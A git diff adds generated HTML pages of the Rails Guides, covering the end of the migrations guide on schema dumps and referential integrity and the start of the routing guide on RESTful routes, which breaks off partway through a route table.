+ add_column <span style="color: #990000">:</span>product<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
+ Product<span style="color: #990000">.</span>reset_column_information
+ <span style="color: #990000">...</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+ <span style="color: #990000">...</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_schema_dumping_and_you">6. Schema dumping and you</h2>
+<div class="sectionbody">
+<h3 id="schema">6.1. What are schema files for?</h3>
+<div class="para"><p>Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either <tt>schema.rb</tt> or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database.</p></div>
+<div class="para"><p>There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema.</p></div>
+<div class="para"><p>For example, this is how the test database is created: the current development database is dumped (either to <tt>schema.rb</tt> or <tt>development.sql</tt>) and then loaded into the test database.</p></div>
+<div class="para"><p>Schema files are also useful if want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations but is all summed up in the schema file. The <a href="http://agilewebdevelopment.com/plugins/annotate_models">annotate_models</a> plugin, which automatically adds (and updates) comments at the top of each model summarising the schema, may also be of interest.</p></div>
+<h3 id="_types_of_schema_dumps">6.2. Types of schema dumps</h3>
+<div class="para"><p>There are two ways to dump the schema. This is set in <tt>config/environment.rb</tt> by the <tt>config.active_record.schema_format</tt> setting, which may be either <tt>:sql</tt> or <tt>:ruby</tt>.</p></div>
+<div class="para"><p>If <tt>:ruby</tt> is selected then the schema is stored in <tt>db/schema.rb</tt>. If you look at this file you'll find that it looks an awful lot like one very big migration:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ActiveRecord<span style="color: #990000">::</span>Schema<span style="color: #990000">.</span>define<span style="color: #990000">(:</span>version <span style="color: #990000">=></span> <span style="color: #993399">20080906171750</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ create_table <span style="color: #FF0000">"authors"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>string <span style="color: #FF0000">"name"</span>
+ t<span style="color: #990000">.</span>datetime <span style="color: #FF0000">"created_at"</span>
+ t<span style="color: #990000">.</span>datetime <span style="color: #FF0000">"updated_at"</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ create_table <span style="color: #FF0000">"products"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>string <span style="color: #FF0000">"name"</span>
+ t<span style="color: #990000">.</span>text <span style="color: #FF0000">"description"</span>
+ t<span style="color: #990000">.</span>datetime <span style="color: #FF0000">"created_at"</span>
+ t<span style="color: #990000">.</span>datetime <span style="color: #FF0000">"updated_at"</span>
+ t<span style="color: #990000">.</span>string <span style="color: #FF0000">"part_number"</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using <tt>create_table</tt>, <tt>add_index</tt> and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases.</p></div>
+<div class="para"><p>There is however a trade-off: <tt>schema.rb</tt> cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to <tt>:sql</tt>.</p></div>
+<div class="para"><p>Instead of using Active Record's schema dumper the database's structure will be dumped using a tool specific to that database (via the <tt>db:structure:dump</tt> Rake task) into <tt>db/#{RAILS_ENV}_structure.sql</tt>. For example for PostgreSQL the <tt>pg_dump</tt> utility is used and for MySQL this file will contain the output of SHOW CREATE TABLE for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside.</p></div>
+<div class="para"><p>By definition this will be a perfect copy of the database's structure but this will usually prevent loading the schema into a database other than the one used to create it.</p></div>
+<h3 id="_schema_dumps_and_source_control">6.3. Schema dumps and source control</h3>
+<div class="para"><p>Because they are the authoritative source for your database schema, it is strongly recommended that you check them into source control.</p></div>
+</div>
+<h2 id="foreign_key">7. Active Record and Referential Integrity</h2>
+<div class="sectionbody">
+<div class="para"><p>The Active Record way is that intelligence belongs in your models, not in the database. As such features such as triggers or foreign key constraints, which push some of that intelligence back into the database are not heavily used.</p></div>
+<div class="para"><p>Validations such as <tt>validates_uniqueness_of</tt> are one way in which models can enforce data integrity. The <tt>:dependent</tt> option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints.</p></div>
+<div class="para"><p>Although Active Record does not provide any tools for working directly with such features, the <tt>execute</tt> method can be used to execute arbitrary SQL. There are also a number of plugins such as <a href="http://agilewebdevelopment.com/plugins/search?search=redhillonrails">redhillonrails</a> which add foreign key support to Active Record (including support for dumping foreign keys in <tt>schema.rb</tt>).</p></div>
+</div>
+<h2 id="_changelog">8. Changelog</h2>
+<div class="sectionbody">
+<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/6">Lighthouse ticket</a></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+September 14, 2008: initial version by <a href="../authors.html#fcheung">Frederick Cheung</a>
+</p>
+</li>
+</ul></div>
+</div>
+ + </div> + </div> +</body> +</html> diff --git a/railties/doc/guides/html/routing_outside_in.html b/railties/doc/guides/html/routing_outside_in.html new file mode 100644 index 0000000000..efa14d5ad8 --- /dev/null +++ b/railties/doc/guides/html/routing_outside_in.html @@ -0,0 +1,2183 @@ +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> +<head> + <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> + <title>Rails Routing from the Outside In</title> + <!--[if lt IE 8]> + <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script> + <![endif]--> + <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" /> + <style type="text/css"> + div#container { + max-width: 900px; + padding-bottom: 3em; +} + +div#content { + margin-left: 200px; +} + +div#container.notoc { + max-width: 600px; +} + +.notoc div#content { + margin-left: 0; +} + +pre { + line-height: 1.4em; +} + +#content p tt { + background: #eeeeee; + border: solid 1px #cccccc; + padding: 3px; +} + +dt { + font-weight: bold; +} + +#content dt tt { + font-size: 10pt; +} + +dd { + margin-left: 3em; +} + +#content dt tt, #content pre tt { + background: none; + padding: 0; + border: 0; +} + +#content .olist ol { + margin-left: 2em; +} + +#header { + position: relative; + max-width: 840px; + margin-left: auto; + margin-right: auto; +} + +#header.notoc { + max-width: 580px; +} + +#logo { + position: absolute; + left: 10px; + top: 10px; + width: 110px; + height: 140px; +} + +div#header h1#site_title { + background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat; + position: absolute; + width: 392px; + height: 55px; + left: 145px; + top: 20px; + margin: 0; + padding: 0; +} + +#site_title span { + display: none; +} + +#site_title_tagline { + display: none; +} + +ul#navMain { + position: absolute; + margin: 0; + padding: 0; + top: 97px; + left: 145px; +} + +.left-floaty, .right-floaty { + padding: 15px; +} + +.admonitionblock, +.tableblock { + margin-left: 1em; + margin-right: 1em; + margin-top: 0.25em; + margin-bottom: 1em; +} + +.admonitionblock .icon { + padding-right: 8px; +} + +.admonitionblock .content { + border: solid 1px #ffda78; + background: #fffebd; + padding: 10px; + padding-top: 8px; + padding-bottom: 8px; +} + +.admonitionblock .title { + font-size: 140%; + margin-bottom: 0.5em; +} + +.tableblock table { + border: solid 1px #aaaaff; + background: #f0f0ff; +} + +.tableblock th { + background: #e0e0e0; +} + +.tableblock th, +.tableblock td { + padding: 3px; + padding-left: 5px; + padding-right: 5px; +} + +.sidebarblock { + margin-top: 0.25em; + margin: 1em; + border: solid 1px #ccccbb; + padding: 8px; + background: #ffffe0; +} + +.sidebarblock .sidebar-title { + font-size: 140%; + font-weight: 600; + margin-bottom: 0.3em; +} + +.sidebarblock .sidebar-content > .para:last-child > p { + margin-bottom: 0; +} + +.sidebarblock .sidebar-title a { + text-decoration: none; +} + +.sidebarblock .sidebar-title a:hover { + text-decoration: underline; +} + + </style> +</head> +<body> + <div id="header" > + <div id="logo"> + <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a> + </div> + + <h1 id="site_title"><span>Ruby on Rails</span></h1> + <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2> + + <ul id="navMain"> + <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li> + <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li> + </ul> + </div> + + <div id="container"> + + <div id="sidebar"> + <h2>Chapters</h2> + <ol> + <li> + <a href="#_the_dual_purpose_of_routing">The Dual Purpose of Routing</a> + <ul> + + <li><a href="#_connecting_urls_to_code">Connecting URLs to Code</a></li> + + <li><a href="#_generating_urls_from_code">Generating URLs from Code</a></li> + + </ul> + </li> + <li> + <a href="#_quick_tour_of_routes_rb">Quick Tour of Routes.rb</a> + <ul> + + <li><a href="#_processing_the_file">Processing the File</a></li> + + <li><a href="#_restful_routes">RESTful Routes</a></li> + + <li><a href="#_named_routes">Named Routes</a></li> + + <li><a href="#_nested_routes">Nested Routes</a></li> + + <li><a href="#_regular_routes">Regular Routes</a></li> + + <li><a href="#_default_routes">Default Routes</a></li> + + </ul> + </li> + <li> + <a href="#_restful_routing_the_rails_default">RESTful Routing: the Rails Default</a> + <ul> + + <li><a href="#_what_is_rest">What is REST?</a></li> + + <li><a href="#_crud_verbs_and_actions">CRUD, Verbs, and Actions</a></li> + + <li><a href="#_urls_and_paths">URLs and Paths</a></li> + + <li><a href="#_defining_multiple_resources_at_the_same_time">Defining Multiple Resources at the Same Time</a></li> + + <li><a href="#_singular_resources">Singular Resources</a></li> + + <li><a href="#_customizing_resources">Customizing Resources</a></li> + + <li><a href="#_controller_namespaces_and_routing">Controller Namespaces and Routing</a></li> + + <li><a href="#_nested_resources">Nested Resources</a></li> + + <li><a href="#_route_generation_from_arrays">Route Generation from Arrays</a></li> + + <li><a href="#_namespaced_resources">Namespaced Resources</a></li> + + <li><a href="#_adding_more_restful_actions">Adding More RESTful Actions</a></li> + + </ul> + </li> + <li> + <a href="#_regular_routes_2">Regular Routes</a> + <ul> + + <li><a href="#_bound_parameters">Bound Parameters</a></li> + + <li><a href="#_wildcard_components">Wildcard Components</a></li> + + <li><a href="#_static_text">Static Text</a></li> + + <li><a href="#_querystring_parameters">Querystring Parameters</a></li> + + <li><a href="#_defining_defaults">Defining Defaults</a></li> + + <li><a href="#_named_routes_2">Named Routes</a></li> + + <li><a href="#_route_requirements">Route Requirements</a></li> + + <li><a href="#_route_conditions">Route Conditions</a></li> + + <li><a href="#_route_globbing">Route Globbing</a></li> + + <li><a href="#_route_options">Route Options</a></li> + + </ul> + </li> + <li> + <a href="#_formats_and_respond_to">Formats and respond_to</a> + <ul> + + <li><a href="#_specifying_the_format_with_an_http_header">Specifying the Format with an HTTP Header</a></li> + + <li><a href="#_recognized_mime_types">Recognized MIME types</a></li> + + </ul> + </li> + <li> + <a href="#_the_default_routes">The Default Routes</a> + </li> + <li> + <a href="#_the_empty_route">The Empty Route</a> + <ul> + + <li><a href="#_using_map_root">Using map.root</a></li> + + <li><a href="#_connecting_the_empty_string">Connecting the Empty String</a></li> + + </ul> + </li> + <li> + <a href="#_inspecting_and_testing_routes">Inspecting and Testing Routes</a> + <ul> + + <li><a href="#_seeing_existing_routes_with_rake">Seeing Existing Routes with rake</a></li> + + <li><a href="#_testing_routes">Testing Routes</a></li> + + </ul> + </li> + <li> + <a href="#_changelog">Changelog</a> + </li> + </ol> + </div> + + <div id="content"> + <h1>Rails Routing from the Outside In</h1> + <div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Understand the purpose of routing
+</p>
+</li>
+<li>
+<p>
+Decipher the code in <tt>routes.rb</tt>
+</p>
+</li>
+<li>
+<p>
+Construct your own routes, using either the classic hash style or the now-preferred RESTful style
+</p>
+</li>
+<li>
+<p>
+Identify how a route will map to a controller and action
+</p>
+</li>
+</ul></div>
+</div>
+</div>
+<h2 id="_the_dual_purpose_of_routing">1. The Dual Purpose of Routing</h2>
+<div class="sectionbody">
+<div class="para"><p>Rails routing is a two-way piece of machinery - rather as if you could turn trees into paper, and then turn paper back into trees. Specifically, it both connects incoming HTTP requests to the code in your application's controllers, and helps you generate URLs without having to hard-code them as strings.</p></div>
+<h3 id="_connecting_urls_to_code">1.1. Connecting URLs to Code</h3>
+<div class="para"><p>When your Rails application receives an incoming HTTP request, say</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>GET /patients/17</tt></pre>
+</div></div>
+<div class="para"><p>the routing engine within Rails is the piece of code that dispatches the request to the appropriate spot in your application. In this case, the application would most likely end up running the <tt>show</tt> action within the <tt>patients</tt> controller, displaying the details of the patient whose ID is 17.</p></div>
+<h3 id="_generating_urls_from_code">1.2. Generating URLs from Code</h3>
+<div class="para"><p>Routing also works in reverse. If your application contains this code:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@patient</span> <span style="color: #990000">=</span> Patient<span style="color: #990000">.</span>find<span style="color: #990000">(</span><span style="color: #993399">17</span><span style="color: #990000">)</span>
+<span style="color: #FF0000"><%= link_to "Patient Record", patient_path(@patient) %></span>
+</tt></pre></div></div>
+<div class="para"><p>Then the routing engine is the piece that translates that to a link to a URL such as <tt>http://example.com/patients/17</tt>. By using routing in this way, you can reduce the brittleness of your application as compared to one with hard-coded URLs, and make your code easier to read and understand.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">Patient needs to be declared as a resource for this style of translation via a named route to be available.</td>
+</tr></table>
+</div>
+</div>
+<h2 id="_quick_tour_of_routes_rb">2. Quick Tour of Routes.rb</h2>
+<div class="sectionbody">
+<div class="para"><p>There are two components to routing in Rails: the routing engine itself, which is supplied as part of Rails, and the file <tt>config/routes.rb</tt>, which contains the actual routes that will be used by your application. Learning exactly what you can put in <tt>routes.rb</tt> is the main topic of this guide, but before we dig in let's get a quick overview.</p></div>
+<h3 id="_processing_the_file">2.1. Processing the File</h3>
+<div class="para"><p>In format, <tt>routes.rb</tt> is nothing more than one big block sent to <tt>ActionController::Routing::Routes.draw</tt>. Within this block, you can have comments, but it's likely that most of your content will be individual lines of code - each line being a route in your application. You'll find five main types of content in this file:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+RESTful Routes
+</p>
+</li>
+<li>
+<p>
+Named Routes
+</p>
+</li>
+<li>
+<p>
+Nested Routes
+</p>
+</li>
+<li>
+<p>
+Regular Routes
+</p>
+</li>
+<li>
+<p>
+Default Routes
+</p>
+</li>
+</ul></div>
+<div class="para"><p>Each of these types of route is covered in more detail later in this guide.</p></div>
+<div class="para"><p>The <tt>routes.rb</tt> file is processed from top to bottom when a request comes in. The request will be dispatched to the first matching route. If there is no matching route, then Rails returns HTTP status 404 to the caller.</p></div>
+<h3 id="_restful_routes">2.2. RESTful Routes</h3>
+<div class="para"><p>RESTful routes take advantage of the built-in REST orientation of Rails to wrap up a lot of routing information in a single declaration. A RESTful route looks like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>books
+</tt></pre></div></div>
+<h3 id="_named_routes">2.3. Named Routes</h3>
+<div class="para"><p>Named routes give you very readable links in your code, as well as handling incoming requests. Here's a typical named route:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>login <span style="color: #FF0000">'/login'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">'sessions'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">'new'</span>
+</tt></pre></div></div>
+<h3 id="_nested_routes">2.4. Nested Routes</h3>
+<div class="para"><p>Nested routes let you declare that one resource is contained within another resource. You'll see later on how this translates to URLs and paths in your code. For example, if your application includes parts, each of which belongs to an assembly, you might have this nested route declaration:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>assemblies <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>assemblies<span style="color: #990000">|</span>
+ assemblies<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>parts
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_regular_routes">2.5. Regular Routes</h3>
+<div class="para"><p>In many applications, you'll also see non-RESTful routing, which explicitly connects the parts of a URL to a particular action. For example,</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'parts/:number'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">'inventory'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">'show'</span>
+</tt></pre></div></div>
+<h3 id="_default_routes">2.6. Default Routes</h3>
+<div class="para"><p>The default routes are a safety net that catch otherwise-unrouted requests. Many Rails applications will contain this pair of default routes:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
+map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span>
+</tt></pre></div></div>
+<div class="para"><p>These default routes are automatically generated when you create a new Rails application. If you're using RESTful routing for everything in your application, you will probably want to remove them. But be sure you're not using the default routes before you remove them!</p></div>
+</div>
+<h2 id="_restful_routing_the_rails_default">3. RESTful Routing: the Rails Default</h2>
+<div class="sectionbody">
+<div class="para"><p>RESTful routing is the current standard for routing in Rails, and it's the one that you should prefer for new applications. It can take a little while to understand how RESTful routing works, but it's worth the effort; your code will be easier to read and you'll be working with Rails, rather than fighting against it, when you use this style of routing.</p></div>
+<h3 id="_what_is_rest">3.1. What is REST?</h3>
+<div class="para"><p>The foundation of RESTful routing is generally considered to be Roy Fielding's doctoral thesis, <a href="http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm">Architectural Styles and the Design of Network-based Software Architectures</a>. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources
+</p>
+</li>
+<li>
+<p>
+Transferring representations of the state of that resource between system components.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>For example, to a Rails application a request such as this:</p></div>
+<div class="para"><p><tt>DELETE /photos/17</tt></p></div>
+<div class="para"><p>would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities.</p></div>
+<h3 id="_crud_verbs_and_actions">3.2. CRUD, Verbs, and Actions</h3>
+<div class="para"><p>In Rails, a RESTful route provides a mapping between HTTP verbs, controller actions, and (implicitly) CRUD operations in a database. A single entry in the routing file, such as</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos
+</tt></pre></div></div>
+<div class="para"><p>creates seven different routes in your application:</p></div>
+<div class="tableblock">
+<table rules="all"
+frame="hsides"
+cellspacing="0" cellpadding="4">
+<col width="125" />
+<col width="182" />
+<col width="137" />
+<col width="102" />
+<col width="502" />
+<thead>
+ <tr>
+ <th align="left">
+ HTTP verb
+ </th>
+ <th align="left">
+ URL
+ </th>
+ <th align="left">
+ controller
+ </th>
+ <th align="left">
+ action
+ </th>
+ <th align="left">
+ used for
+ </th>
+ </tr>
+</thead>
+<tbody valign="top">
+ <tr>
+ <td align="left">
+ GET
+ </td>
+ <td align="left">
+ /photos
+ </td>
+ <td align="left">
+ Photos
+ </td>
+ <td align="left">
+ index
+ </td>
+ <td align="left">
+ display a list of all photos
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ GET
+ </td>
+ <td align="left">
+ /photos/new
+ </td>
+ <td align="left">
+ Photos
+ </td>
+ <td align="left">
+ new
+ </td>
+ <td align="left">
+ return an HTML form for creating a new photo
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ POST
+ </td>
+ <td align="left">
+ /photos
+ </td>
+ <td align="left">
+ Photos
+ </td>
+ <td align="left">
+ create
+ </td>
+ <td align="left">
+ create a new photo
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ GET
+ </td>
+ <td align="left">
+ /photos/1
+ </td>
+ <td align="left">
+ Photos
+ </td>
+ <td align="left">
+ show
+ </td>
+ <td align="left">
+ display a specific photo
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ GET
+ </td>
+ <td align="left">
+ /photos/1/edit
+ </td>
+ <td align="left">
+ Photos
+ </td>
+ <td align="left">
+ edit
+ </td>
+ <td align="left">
+ return an HTML form for editing a photo
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ PUT
+ </td>
+ <td align="left">
+ /photos/1
+ </td>
+ <td align="left">
+ Photos
+ </td>
+ <td align="left">
+ update
+ </td>
+ <td align="left">
+ update a specific photo
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ DELETE
+ </td>
+ <td align="left">
+ /photos/1
+ </td>
+ <td align="left">
+ Photos
+ </td>
+ <td align="left">
+ destroy
+ </td>
+ <td align="left">
+ delete a specific photo
+ </td>
+ </tr>
+</tbody>
+</table>
+</div>
+<div class="para"><p>For the specific routes (those that reference just a single resource), the identifier for the resource will be available within the corresponding controller action as <tt>params[:id]</tt>.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">If you consistently use RESTful routes in your application, you should disable the default routes in <tt>routes.rb</tt> so that Rails will enforce the mapping between HTTP verbs and routes.</td>
+</tr></table>
+</div>
+<h3 id="_urls_and_paths">3.3. URLs and Paths</h3>
+<div class="para"><p>Creating a RESTful route will also make available a pile of helpers within your application:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>photos_url</tt> and <tt>photos_path</tt> map to the path for the index and create actions
+</p>
+</li>
+<li>
+<p>
+<tt>new_photo_url</tt> and <tt>new_photo_path</tt> map to the path for the new action
+</p>
+</li>
+<li>
+<p>
+<tt>edit_photo_url</tt> and <tt>edit_photo_path</tt> map to the path for the edit action
+</p>
+</li>
+<li>
+<p>
+<tt>photo_url</tt> and <tt>photo_path</tt> map to the path for the show, update, and destroy actions
+</p>
+</li>
+</ul></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">Because routing makes use of the HTTP verb as well as the path in the request to dispatch requests, the seven routes generated by a RESTful routing entry only give rise to four pairs of helpers.</td>
+</tr></table>
+</div>
+<div class="para"><p>In each case, the <tt>_url</tt> helper generates a string containing the entire URL that the application will understand, while the <tt>_path</tt> helper generates a string containing the relative path from the root of the application. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>photos_url <span style="font-style: italic"><span style="color: #9A1900"># => "http://www.example.com/photos"</span></span>
+photos_path <span style="font-style: italic"><span style="color: #9A1900"># => "/photos"</span></span>
+</tt></pre></div></div>
+<h3 id="_defining_multiple_resources_at_the_same_time">3.4. Defining Multiple Resources at the Same Time</h3>
+<div class="para"><p>If you need to create routes for more than one RESTful resource, you can save a bit of typing by defining them all with a single call to <tt>map.resources</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>books<span style="color: #990000">,</span> <span style="color: #990000">:</span>videos
+</tt></pre></div></div>
+<div class="para"><p>This has exactly the same effect as</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos
+map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>books
+map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>videos
+</tt></pre></div></div>
+<h3 id="_singular_resources">3.5. Singular Resources</h3>
+<div class="para"><p>You can also apply RESTful routing to singleton resources within your application. In this case, you use <tt>map.resource</tt> instead of <tt>map.resources</tt> and the route generation is slightly different. For example, a routing entry of</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resource <span style="color: #990000">:</span>geocoder
+</tt></pre></div></div>
+<div class="para"><p>creates six different routes in your application:</p></div>
+<div class="tableblock">
+<table rules="all"
+frame="hsides"
+cellspacing="0" cellpadding="4">
+<col width="125" />
+<col width="182" />
+<col width="137" />
+<col width="102" />
+<col width="502" />
+<thead>
+ <tr>
+ <th align="left">
+ HTTP verb
+ </th>
+ <th align="left">
+ URL
+ </th>
+ <th align="left">
+ controller
+ </th>
+ <th align="left">
+ action
+ </th>
+ <th align="left">
+ used for
+ </th>
+ </tr>
+</thead>
+<tbody valign="top">
+ <tr>
+ <td align="left">
+ GET
+ </td>
+ <td align="left">
+ /geocoder/new
+ </td>
+ <td align="left">
+ Geocoders
+ </td>
+ <td align="left">
+ new
+ </td>
+ <td align="left">
+ return an HTML form for creating the new geocoder
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ POST
+ </td>
+ <td align="left">
+ /geocoder
+ </td>
+ <td align="left">
+ Geocoders
+ </td>
+ <td align="left">
+ create
+ </td>
+ <td align="left">
+ create the new geocoder
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ GET
+ </td>
+ <td align="left">
+ /geocoder
+ </td>
+ <td align="left">
+ Geocoders
+ </td>
+ <td align="left">
+ show
+ </td>
+ <td align="left">
+ display the one and only geocoder resource
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ GET
+ </td>
+ <td align="left">
+ /geocoder/edit
+ </td>
+ <td align="left">
+ Geocoders
+ </td>
+ <td align="left">
+ edit
+ </td>
+ <td align="left">
+ return an HTML form for editing the geocoder
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ PUT
+ </td>
+ <td align="left">
+ /geocoder
+ </td>
+ <td align="left">
+ Geocoders
+ </td>
+ <td align="left">
+ update
+ </td>
+ <td align="left">
+ update the one and only geocoder resource
+ </td>
+ </tr>
+ <tr>
+ <td align="left">
+ DELETE
